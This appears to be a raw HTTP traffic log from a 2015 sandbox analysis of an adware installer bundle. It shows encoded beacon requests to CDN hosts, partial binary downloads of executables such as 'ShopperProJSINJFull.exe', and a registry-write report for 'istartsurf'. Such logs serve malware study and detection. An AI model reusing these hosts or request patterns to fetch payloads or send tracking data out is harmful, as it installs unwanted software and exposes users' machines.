GET /24100.ashx?e=KC52kqqAunBxTgq6wZuT6yMSZph5W2w5jA5kVqVgWdD8SaNRCRsmEYzpbjeDHyvN7Jp hM47FGjM1N26ynjad0t8mBLx4RCPtTfdjoDFbC8ycPR kQjzMFHmS0Zrngqa/u6z7Uinv/h1kkBdu6EZ0UCN9h bV19V2Rko0jTI4S7Vw12R6ofm/Y8iQvDAJnGKH8qnmCyK7v7JBTPp2F5gxC Mhrkq09y/A2uu7zQQkK33iSFFCNvSibmv2IW2mkLW4Sygye4Bx OK6Bbaa/22ObTDPRTojvSCHMVy4A0ZhywUJj3rTpnQ9stLKTtE4wWOaB2EzLALFffS2I5mdr23B CcRQjcXxyD HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK
Date: Sun, 26 Apr 2015 23:55:41 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
....


GET /24100.ashx?e=KC52kqqAunBxTgq6wZuT6yMSZph5W2w5jA5kVqVgWdD8SaNRCRsmEYzpbjeDHyvN7Jp hM47FGjM1N26ynjad0t8mBLx4RCPtTfdjoDFbC8ycPR kQjzMFHmS0Zrngqa/u6z7Uinv/h1kkBdu6EZ0UCN9h bV19VQy TvLH5SNftN2kzF 5WqbPiCC4paVhd7txZncMHn06ScJu8C7yBqpe/jFqE4L9XD4NyULog6KHAsvlBgzvTh6syuDjWX8vLsJJPlhy2jdwTqcwBDTHruXFWs3G3PXIRldmt6Vgk8tThrYBjwSzYitUsLGKD6Do/7W1wxfBEZJmYqiCKba42bFhfwz3TI3iY3ny9jMBZWjQ= HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: pn61ajqijj0-g48pastf.netdna-ssl.com

GET /24100.ashx?e=KC52kqqAunBxTgq6wZuT6yMSZph5W2w5jA5kVqVgWdD8SaNRCRsmEYzpbjeDHyvN7Jp hM47FGjM1N26ynjad0t8mBLx4RCPtTfdjoDFbC8ycPR kQjzMFHmS0Zrngqa/u6z7Uinv/h1kkBdu6EZ0UCN9h bV19V1nZT UXyB8cE8SFHLIEPsOit9OsprAChdn2Gh86QFqgE8XIWrh60PYXV1rPYBwrFqy2cd4qoQDl0oePvh0n93NexvF9Z3oAvVYgO0yHAHEu4wnLTEgSSL9H9MCuNdlcgo17BgrA40V69GtXaYYEOjdV3TGBpQHSWhfCqXqcp6BQ= HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK
Date: Sun, 26 Apr 2015 23:55:42 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
....


GET /24100.ashx?e=hpY1rXLYst6pJ45fVU/vC4Fc4EnZ34NR5q9ijZdZycpAXdQqxJ1vaxGgYkoQykSFfl0yK7ww8bSNFY6Ws1wbQ6Hb3b0n5oxdzhxFIAXER6dVI/4dLCBO4CvSnBgPe66t1JJpRAUOpYSeY/e3xqcYN9oGiWTaeRqbLhu0b45kiT8IWTdc0BVRzshiWv5Ja8Fbs IILilpWF2W4ZI0w3yOP6AmNqIc/gwepNmsXK wzeJ c4EoHiPtp/ibRZl Nn4R/Aacx5XpRlqV7H RUob56yTHwcZb2z5P1MrzBZPK8ul3lKUo42BvPJLMQB9zRg7u0ctHkjgVDHr0xus7kNd iWhZuwfvRbkLn4OURcE7lUDZH476o8GoGBUmpStNaTb9a4Aqby40sZ7Yz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW T5OeSwUDdvaTEAacl7qjMpIdauJDKz14EU2/THngAx1bEmURjAjgjXToRgV0xrPXzobjJJ1f3pO HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK
Date: Sun, 26 Apr 2015 23:55:42 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
....


GET /24100.ashx?e=hpY1rXLYst6pJ45fVU/vC4Fc4EnZ34NR5q9ijZdZycpAXdQqxJ1vaxGgYkoQykSFfl0yK7ww8bSNFY6Ws1wbQ6Hb3b0n5oxdzhxFIAXER6dVI/4dLCBO4CvSnBgPe66t1JJpRAUOpYSeY/e3xqcYN9oGiWTaeRqbLhu0b45kiT/aaY YTEt5Uvbfo/lsLEXHKYX3Ti/i3YPc6IXuGS75LmdamvrUQZsSBJrpn5593i7JkPoDWmx/bJrdSyBxPRpgEPlcKBNGiF/021585MfhSkbnBUf4hjmaodvdvSfmjF3OHEUgBcRHp1Uj/h0sIE7gHSUdz8E8ouo= HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK
Date: Sun, 26 Apr 2015 23:55:42 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
....


GET /24100.ashx?e=yhrBLBbZM9VlaSlBpdt MYFc4EnZ34NRvPsP4PRbYtFAXdQqxJ1vaxGgYkoQykSFfl0yK7ww8bSNFY6Ws1wbQ6Hb3b0n5oxdzhxFIAXER6dVI/4dLCBO4CvSnBgPe66t1JJpRAUOpYSeY/e3xqcYN9oGiWTaeRqbX4l9XCm/Va/LS8QKBdwSe29z1KklHinBKYX3Ti/i3YMgCmKZYKupqVXwtCZfo4Zr9nup2DtfDPrER/kwSJZSa/eJIUUI29KJua/YhbaaQtbhLKDJ7gHH44roFtpr/bY5tMM9FOiO9IIcxXLgDRmHLBQmPetOmdD2y0spO0TjBY5oHYTMsAsV99LYjmZ2vbcH4JxFCNxfHIM= HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK
Date: Sun, 26 Apr 2015 23:55:43 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
....


GET /24100.ashx?e=d/UISSlWdlNxTgq6wZuT63a GkEuPx2ijA5kVqVgWdD8SaNRCRsmEYzpbjeDHyvN7Jp hM47FGjM1N26ynjad0t8mBLx4RCPtTfdjoDFbC8ycPR kQjzMFHmS0Zrngqa/u6z7Uinv/h1kkBdu6EZ0VLthe3E5HJFVjr4IQgU6/03VTKOu38TtLPiCC4paVhdQW0QLiFfYl12K9rRzWJ3HiWuYu/w6QjMxuC523JvYYdSkkpIJMyTNdApcSbF ajtWckiMiVYfJeK7a1soWlgbXd/rihenux9qKCOmj9aXRfM1N26ynjad0t8mBLx4RCPtTfdjoDFbC9hDd  578F w== HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK
Date: Sun, 26 Apr 2015 23:55:43 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
HTTP/1.1 200 OK..Date: Sun, 26 Apr 2015 23:55:43 GMT..Content-Length: 
0..Connection: keep-alive..Cache-Control: private, no-store..X-AspNet-
Version: 4.0.30319..X-Powered-By: ASP.NET..Server: NetDNA-cache/2.2..X
-Cache: MISS..



GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1
Range: bytes=160792-
User-Agent: Better Installer(Mozilla)
Host: d2otsfra4otprh.cloudfront.net
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 1125537
Connection: keep-alive
Cache-Control: no-cache
Last-Modified: Mon, 23 Mar 2015 09:00:36 GMT
Accept-Ranges: bytes
ETag: "b8e31d44765d01:0"
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Sat, 25 Apr 2015 19:35:23 GMT
Content-Range: bytes 160792-1286328/1286329
X-Cache: RefreshHit from cloudfront
Via: 1.1 de7a549023f0ea5ae15f58d27aeb67c7.cloudfront.net (CloudFront)
X-Amz-Cf-Id: HvtTAyQF7trLjWVr1JEM1kfqmYY5UV1bATgpogFYuuyCvNduB-_JZA==
......'oS.l.g......*. .=.....8..;....#.?U... .i....=..{}...z..N..8s2.u
[email protected]}..j..bP.&.k.Z%...0..T...SG.9....w.........U..d[3XR. 
.1.......... I...T.H'..F,4........j..y.7F..~eF^Lt...........a...q.,.|.
..M3.]....).......FT.^..k.Ad...0MVn;.R....7W;~..,....8..e..umjZ..o.jfK
[email protected].~.%.6.I....F..<.(.O..^<..r.vOh..J...:.....,.sY...
C!2.;O........N:..2. ..F.Q...?g_..n..S..9r l.{...P..fLJ.)......ED..Y..
.e..w.......J....}....... B..y.....}..5.ib.-....6.......&....i....u...
d.aV.Z....a....Q..h.z  N{....Y!N...n.....W...5.f.Z.j. ..O..h.M=k....,.
.O....S .k..j1V...K.E..OYB.].40...A.._u...<...y....}j..].B....7e.D.
..:2........`?I....>.4y.N.#&[:.I..(D.W...r..abD.a..N.....t...0P4q.&
gt;....hV.....;..Ud.OZ..I.....(...p.E.."..{...'..^.X2..U..w.._...(.(..
............z.&.g...E...9.&z.F(...J...EH.......%!...o-aG...:.3.7.....V
.....|.q....<...........&w.......}..G&.w........x...%4?...4.......s
a...vo.G$.Hm...]C..T.F..Kc"j...../.(;...p".v..........[.D..0:#.|..q.c.
a?..r....$;^|.!....\..).K..>......Sm..]s...C....t...._.F....#!..T.z
W<..).*...L.l..Sk...$.2d.C...$....CX7...`.i..X.......(.....T....:SG
.1:.c......z..$%...e.=M#7.^.....:.%...k/.......(.........3.._1.k...]..
.............dh. ....9......!.>..L N....R.h?c......B..Q0s...o......
[email protected]..{.t?....WT.&.../.W...}.../B...T.LAr,.......!E..(....E
.. .T*S#..V6.K......O.F.....j....2z..P|C..e.......x.. k...W.....h.".9.
@Vl......K.=.RP......w..A ...@~x....J.....`..V..T".X...<[email protected].,
...1....0..B....X.v`.F.a.;#^u...n*as. ..U[...|.j.;.{y ....;.v1;W..
<<< skipped >>>


GET /ShopperProJSINJFull.exe HTTP/1.1
Range: bytes=250000-499999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: z5se5q688-su78sj1t.netdna-ssl.com
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Date: Sun, 26 Apr 2015 23:55:48 GMT
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
x-amz-id-2: NzYd1yowTDqfoHMDcGICyb5UJ/D7psgOacre8xaAUz0sQ4nNLKHWh4fbvbGrJ8LMdy745eC4Xa0=
x-amz-request-id: 4C795351165B65F4
Last-Modified: Sun, 26 Apr 2015 05:20:42 GMT
ETag: "d01bb191432e3215738e501078f69b43"
Server: NetDNA-cache/2.2
X-Cache: HIT
Content-Range: bytes 250000-499999/4737948
..2..lK.....kxk...O.M..q....e.....m!\v^.T....U...xT..8. .......qP.^..u
..W..v....f..2.S9...`..UF].......U.............j..t.w.....h.[........o
.1M..~Nd.8b7Id..D.,N.Y..$s.H.....~...L...p..b....09t..........%lH.....
[email protected]... D.....r_..C.j.........,S.t....o.N.:
. : ...%fR|...,-...r...8TJ.......#.......Q.hlB....2......p..;D.^..5.@.
..'...../2....0..v....n.M..(.......9y=..l.....:...l...3.$.$.f........e
.......s.jF8$S.cd.B..!......v...I....]t......j..w&..I.Y.....>....."
. .........r....I..R...-..=Z.8..]..h....6...>.^x.....S.\#M..Z...}..
.G}'..{KP...t;./$......l.....6.."m.([email protected]<O.kV,T.c|....h1....
....\.......;,&... R...)%.1.....;............A2.0.k./g....E...{A&...1M
..X..!C.......Y..G.Vw.}.. .........n....."...."..2:@Au.mv....e....=.y.
..sjL..{..y>(...e..,[email protected]..=T...%...
..o........0.......*..l... ._..a...f9.9v..g..<...I..=..8RVQ.U...c..
.....|...\.3.P\..C..Q..r.l./.7..:../>..|.P...P.V...^..a....K.p.9|.u
.'........u..Q......?........SE.m#K g.....w.l...b..i.}[email protected].(.XB
...h.o.]...~.Q...c......Jw..f.y....8.)...E....9.h....g7#cC2.n.........
.CK_O.....#^..d.0.. .v.....2.X.s..G.g*d.r.!`b.ZX... ..>.~..MK...D.J
QeQ...u.t..h#.X...."C.gNv......>zH.P.. ...rZ*..r..g.\..7\&...w...R.
..q....g...>.v..z.}e.S.JZ<...5.0...4.....G........o.5..S...H..).
~wUg..q..p.8..x...M....o..4....|9....Xd.4. ............gU.]..20O......
....%.~..y.z...R#....R.._... ..].*AR...}.P9yp.xh..v.xI5.r.._C.y...i.X:
I.....x..3K;s.....o.9..a....*...t.:.).j......0.............R..5...
<<< skipped >>>

GET /ShopperProJSINJFull.exe HTTP/1.1


Range: bytes=1000000-1249999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: z5se5q688-su78sj1t.netdna-ssl.com
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Date: Sun, 26 Apr 2015 23:55:48 GMT
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
x-amz-id-2: NzYd1yowTDqfoHMDcGICyb5UJ/D7psgOacre8xaAUz0sQ4nNLKHWh4fbvbGrJ8LMdy745eC4Xa0=
x-amz-request-id: 4C795351165B65F4
Last-Modified: Sun, 26 Apr 2015 05:20:42 GMT
ETag: "d01bb191432e3215738e501078f69b43"
Server: NetDNA-cache/2.2
X-Cache: HIT
Content-Range: bytes 1000000-1249999/4737948
o9.V.`.j.I..............'............[d;%..!*&..K..'......A..}........
.b...}1..%....v6b.A.aY.'..b.2Y......p%.....?...S~^.:..........F_..5...
&....R..jln.....)..K..~....rB....E...=.....J.{......\.h.*..^....y.....
E.....V..cm.9.........Ev.4.82.....c.c<.....K.>.... ....4N...*"!2
.(..._>283.d....A.1.z...k....... 38.P..M/....t.....7.-#TKC....fL.8.
.T.........,...B:,..V ..jyQ....9.^../;.....;~.l...;-....g..]..#c.....R
z...xfP..K...o.....xx...]Ff.......P!.Khjv(...*bC..C..Gz.P...y.Jb..R!h(
<.M..K..K(...tj../....M.....]....P..&.f;,._.f.#...5.....p.0g......%
HY}.d.^..AB..-.%2.].c....L..k>..%...,..f....b.).l......[A..V..S.e6.
.w.qu...j.t=../.......*q.K...l.D..........i..i.#(x..j.&.........;..W..
U.)JC.]'Yjt3..X...E.^...q(Mi...........G...u.............w....r.....`.
b.{3.....,l(......Z.E;.2.....pw:tue.).V...F..Re)q..d....{......%.1....
}H...|.,.....H.M.../..F.......6....Z.k....n.L...K.j.....b.......,8....
...s_....s...,.IZ.p...Q.m.kh!...{..'.;y.3....m..pk...Wr*....K_Ca...H.`
x.c.L.W9...ZhTk....`.....M...{.`{J...$...Q..}Y.E....\.....p. hp.....B.
_s!.2.....%..fa~........19.7.Iyx....Z.....%....r....i.)..../.,*oP..hW.
.. .5`.Y..[.V.RY..}.. [email protected].?..cGJ....0..........p.M.Cg].......
.!.....F..CI5....'.Z.......r...F......(.Pd..}..e.1].X.........'. kh.G.
...pnq.}r....QYp....Nn..A...C..!.....d.n.7z..&..L.9.f*W4...V.R.$u.....
.E.*b...H..X.~...P.A......\.q...x......a.pM./US2..H}b.B..........Z..."
vV;}...L.r\..[.Qr./nM#sx....6........\...'8.z.6...=...W.M.7..|.....@@.
....3e..&.l..<.....ON..^l..D..GP.....W..R8...q....s}.8.Ff.qG..I
<<< skipped >>>


GET /sd?is=sm HTTP/1.1
Range: bytes=392448-
User-Agent: Better Installer(Mozilla)
Host: install-cdn.theswiftrecord.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Pragma: no-cache
Content-Type: application/octet-stream
Server: Microsoft-IIS/7.5
Content-Disposition: attachment; filename=SwiftRecordSetup.exe
X-AspNet-Version: 4.0.30319
SVR: SP003C2
X-Powered-By: ASP.NET
p3p: CP="CAO PSA OUR"
Cache-Control: private, max-age=86400
Expires: Mon, 27 Apr 2015 23:54:52 GMT
Date: Sun, 26 Apr 2015 23:54:52 GMT
Content-Range: bytes 392448-523263/523264
Content-Length: 130816
Connection: keep-alive
.\...l..:B\k..I.V#...B.............. !...z. 3).5.9..........y..{.u;U};
.*..?.g........ ..B.7XE.N(...#{...qLc...<.....r.J...9.........e....
`.2.........|.I}6...%....F....4....[9....... (.....C..G~...Y0gs-.a..3.
.j..M..8. M ...78^c.x&W.20..."s..zL....w..hKI..)p.....{..G.c..h..7... 
W...:.:zcJx.k;.i.}.........vE:..\...7.5...........28.w....F"....f..s..
[email protected]..{..U$.&.XQ.........t...Y.3......08$.F.....u0C....
...Z.9.4ZPb.XB}.IPKm..y{j..=S..Ly.<[.VW.7^S.R l.....$Y3-.=b...*c&..
8.C.IP.O..../....b.....&<p..=.\G..3.r..,.>GIo.....7.q`bie.L...S1
._..ZhG.J8E........U..Q.$...z.-!...FGh./Q[1...'..f...[H.Z...0.H...Qv..
[email protected]..#.3i...p.....GH.....$........xr..'Zs... Ni.M..e....Gg_g\....
.HP.y.-..a....R?N.7'.z....W$....7..5O.....H..`.Y....g.._cCzz..wS.s....
....Oa...p.k...h1.........g.C...X]/.*.fG...<.%......j".F.M....p..w.
.-."#.(..)...6.y.=h......P..J.,|.p....(.9y...|[email protected],.*.
......N..W/.Y..H.ED.....UT.<...K."._1......\j......)r.....\.s......
.v.v..m..i.n<.l.s..7^<!....,..)..\.?..... .r...IW.0..HQ4?....K;D
i.|...2.....[h.#]...*.......M.&.....C.;..u....N..Y.SV.....0.(...1KBA70
..T...FyP....L.UiO?.,H^.c....E1....a.Z....v$.75.(..(..F...............
,wlB[.~...S.?{<./5.i..;.....T.W..F....|5u.%{.I#7r..Y)F..L.wW.....DQ
.X0X..........,..v.....]..[j......S.5..."...V"^..9......&.9..\........
{..!0.Z.(Yqfx.....%..T...I^.M<...P.. ^..q. -s..(..m.........ss.....
.......o......)z...rR3.t..QG .T.A...AjK......9...Ca.Ej.L...BB.gK.a..2.
.......)T.............((..A.....&.H5........y> ..v..G......S...
<<< skipped >>>


GET /v4/sof-installer/535559167_198339_B48A115F?action=smt.installer.istartsurf.RegWrite HTTP/1.1
Connection: Keep-Alive
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) Pi/3.1415926
Host: xa.xingcloud.com


HTTP/1.1 200 OK
Server: nginx/0.7.67
Date: Sun, 26 Apr 2015 23:55:39 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.3.3
xa-api-version: v4
49..{"stats":"ok","time":"66.53 ms","message":"store 1 action and 0 up
date "}..0..



GET /2556.ashx?e=ZfTZC8DxP8ZxTgq6wZuT67C3XDAxXMlOjA5kVqVgWdAgLxC0aXqYrYyox39H7ctICRG24GG3kkqapdjBPBrSXWAqR2XPWVGh jCDsw4o/xYUAvnawhe3hVdVxGgZRPVfMXFTku JRco heK0xfXkQRxc81u2rgCm44UuTa3qd5D7MusukiOxFesStD0GefRoYnVI7Lam2S1vLHUwkQGOXz2q5sOnn E//Dw8o2fbvVqcMM7jAoddqLdDuCot28iq0o3 yQeiL1SuvBinayp0tcns/kzQV2BeJbMdc92UZetdOWqG7q5ZOaCCywDEsteg9p  hZ4DIQH5Tc9wnR9He/l4YWTWHzy3yyliyqjeW6 aP6icIIcon3ge36Sj48TdRlTFqCp5nVlY9NZg9yxBZRVgSZlQGuVMMQcXpDOddnC1pblw/gnAec0/M2w4q7aA8w3I9TwM4TB3ktSrv7ljo83blC6RlaT VZn0CSeruiA3sgYUtJHqg8bgudtyb2GHUpJKSCTMkzXQKXEmxfmo7VnJIjIlWHyXPyVuRvRqbhg= HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK
Date: Sun, 26 Apr 2015 23:55:59 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
HTTP/1.1 200 OK..Date: Sun, 26 Apr 2015 23:55:59 GMT..Content-Length: 
0..Connection: keep-alive..Cache-Control: private, no-store..X-AspNet-
Version: 4.0.30319..X-Powered-By: ASP.NET..Server: NetDNA-cache/2.2..X
-Cache: MISS......


GET /2556.ashx?e=4mC0vXGWFtoTEvwWndeMvHFOCrrBm5PrwmjJBghhycWMDmRWpWBZ0CAvELRpepitjKjHf0fty0gJEbbgYbeSSl Lxpxew5WTYCpHZc9ZUaFgmm5xjmBlpCI3FLqKedV9QoAE/or KqogGeUpHHIWiSSfRcuIfR0fUu0KI1IApgUwqc65TUDdv/PP1z34ZOLgLWKzI0CScSf6y73TEYNzPMBeHgs9Q7654i7hnHdhdcduQ/fd4pcRUO5yQynRUZI5Y08jY48xBJr38Km4JMgAXQ== HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK
Date: Sun, 26 Apr 2015 23:56:03 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
HTTP/1.1 200 OK..Date: Sun, 26 Apr 2015 23:56:03 GMT..Content-Length: 
0..Connection: keep-alive..Cache-Control: private, no-store..X-AspNet-
Version: 4.0.30319..X-Powered-By: ASP.NET..Server: NetDNA-cache/2.2..X
-Cache: MISS..



GET /ShopperProJSINJFull.exe HTTP/1.1
Range: bytes=0-249999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: z5se5q688-su78sj1t.netdna-ssl.com
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Date: Sun, 26 Apr 2015 23:55:48 GMT
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
x-amz-id-2: NzYd1yowTDqfoHMDcGICyb5UJ/D7psgOacre8xaAUz0sQ4nNLKHWh4fbvbGrJ8LMdy745eC4Xa0=
x-amz-request-id: 4C795351165B65F4
Last-Modified: Sun, 26 Apr 2015 05:20:42 GMT
ETag: "d01bb191432e3215738e501078f69b43"
Server: NetDNA-cache/2.2
X-Cache: HIT
Content-Range: bytes 0-249999/4737948
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1p.:u..iu..i
u..i...iw..iu..i...i...id..i!2.i...i...it..iRichu..i........PE..L.....
oS.................\...........2.......p....@.........................
.................................................s....................
...................................................................p..
.............................text....[.......\.................. ..`.r
data.......p.......`..............@[email protected]..........
[email protected][email protected]
..............@..@....................................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U....\.}..t .}.F.E.u..H...
[email protected]@..e...E..E.P.u....r@
..}[email protected]... M.......M....3.....FQ.....NU..M.....
.....VT..U.....FP..E...............E.P.M...Tp@[email protected]
....E..9}[email protected].}.j.W.E......E.......@[email protected]..
[email protected]<[email protected] [email protected]...\r@._
^3.[.....L$...7B...Si.....VW.T.....tO.q.3.;5.7B.sB..i......D.......t.G
.....t...O..t .....u...3....3...F.....;5.7B.r._^[...U..QQ.U.SV..i.
<<< skipped >>>

GET /ShopperProJSINJFull.exe HTTP/1.1


Range: bytes=500000-749999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: z5se5q688-su78sj1t.netdna-ssl.com
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Date: Sun, 26 Apr 2015 23:55:48 GMT
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
x-amz-id-2: NzYd1yowTDqfoHMDcGICyb5UJ/D7psgOacre8xaAUz0sQ4nNLKHWh4fbvbGrJ8LMdy745eC4Xa0=
x-amz-request-id: 4C795351165B65F4
Last-Modified: Sun, 26 Apr 2015 05:20:42 GMT
ETag: "d01bb191432e3215738e501078f69b43"
Server: NetDNA-cache/2.2
X-Cache: HIT
Content-Range: bytes 500000-749999/4737948
.rY..X...;[email protected] Z..R........m"...Yg.}.?.[.....r~O.5.z{..E.X{..X.p
........OAvX.>.....n....fP:....'...i...N..........U....}.....5.....
x]s.gG...<.y..g....v..3.&.J...c?>...../[email protected].
s6...9.B..M{..7'.....(6It..q.W.|*"...-.....k7......L......0..x.7.Y$..E
...N...Y...=..9-."J..Mz....N....w.U.:.kq.z`t.kev..{.r#....<&.....;k
l.L=7L....5.....6\.,<.&^|J\d.>C>.O....e..,.....2.s.9k..v...fH
\.....p.b).......i9......0.C..p....O.ou6-....s*GBH... .HKV..e,Po.UI..S
....b..v...K........tN...V3_X...X.M].tr.8...(g.6O.8....m.I}W.""g....s.
.<.......U....z.9.P.....8.....%.k.)...#....... >.x-...D6.>E..
.'._.I..x....~*.hXIm(.ou.Nf..7q.4....P!.g..S,....Q..;..~..../a.}4.Ft..
7.XX./......<INHv.........q.[....ui .r..i....-...d..w.?........<
04.z...f.d..1...gA..OG......z....0...(..N......*..G......ah....cpL....
...1..{...W.."..J..._.`C...`[email protected]$"L....g$A.;.xu.1....2...3
=.{O. ..N.........4.cD.6.....8.......c.....o6>.z.....".Y.{.z.....3y
;../.R.e.h....,hn^.k....*~*..]..x...J6.x'9..h..bg.E..i......D...@u....
S./.~5..K..D........*tU.\....~.'....dc.oe3..).......G1T.w.....'....&.v
..R}...r...E!Q?.............^......K?p............V....F$...3.R.5.*.O.
<.~*.....7.m..........$..6`..5Kt..x}s<..' .zvo.9B..3.].n.N.....C
..{5r\[email protected].>.$s }..S..F_.^..:t..[....$F..fJ....c.0.n...-c...
.O.T......t.J.B......;.\>~W[5...~...(.>.T.._....A.7......]......
...........Y7 _.`..Q. .J....'.?......WI2.].qU#.1&N.|xO...r........M--.
......l.I..|.^[email protected]^r..;..R.sWF.......d.j"e.~.._/...
<<< skipped >>>

GET /ShopperProJSINJFull.exe HTTP/1.1


Range: bytes=1500000-1749999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: z5se5q688-su78sj1t.netdna-ssl.com
Connection: Keep-Alive

GET /ShopperProJSINJFull.exe HTTP/1.1
Range: bytes=1750000-1999999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: z5se5q688-su78sj1t.netdna-ssl.com
Connection: Keep-Alive

GET /ShopperProJSINJFull.exe HTTP/1.1
Range: bytes=2250000-2499999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: z5se5q688-su78sj1t.netdna-ssl.com
Connection: Keep-Alive



...



GET /mg?alpha=LTNPZBZtDntEJG99YE4ZLHccaRYtdU0VFVxbP1ACLWUOBxUMPVIWeygHThBGBSRXNB4sQChuXTREaEkJPjt1aWRVZFMrHX08QzZrVi9y HTTP/1.1
User-Agent: NSIS_Inetc (Mozilla)
Host: install.theswiftrecord.com
Connection: Keep-Alive
Cache-Control: no-cache

GET /fp?alpha=RBpIYCEaFCktO0ZLZ0ouRV4bbSFERl4RYGMbCX99Qw5FYGdGa0sRSTQuXGB3BXlLQS9ZaCVlFUVuGEg2XEpAYVIjEAN5VmM3V3M3YU4zbT4HG0ssf1MCHxQkOnRIIjRBTgl0JRRgQR9NQ11Ue3MeCUU0XkVkJmZ+WRwZPiETDGptMVdfWz5yCENYdXBsCjYOM1cGXjYsQk4VDCQzZEx3IBNCBHUgAWdIBklPSAZkYEsLXWcJVDgkdDEFEXlkaBQRbShHTk1ZJHlKGgEyLW1ZLnJHchAccylfHR0dIDJySiArEwhIe0NIOBxJCAVIIDMmTVIZYB8qICVrYFwbGwYhBAptNFpbGAJ8I2FDWHgFMB1PEyVzA08sDFscGQEgMnJDUD8xTGYCUBNpeUU7DyIL HTTP/1.1
User-Agent: NSIS_Inetc (Mozilla)
Host: install.theswiftrecord.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
Cache-Control: no-cache, no-store
Pragma: no-cache
Content-Type: text/plain
Expires: -1
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
SVR: SP001C2
X-Powered-By: ASP.NET
p3p: CP="CAO PSA OUR"
Date: Sun, 26 Apr 2015 23:55:58 GMT
Content-Length: 0
....


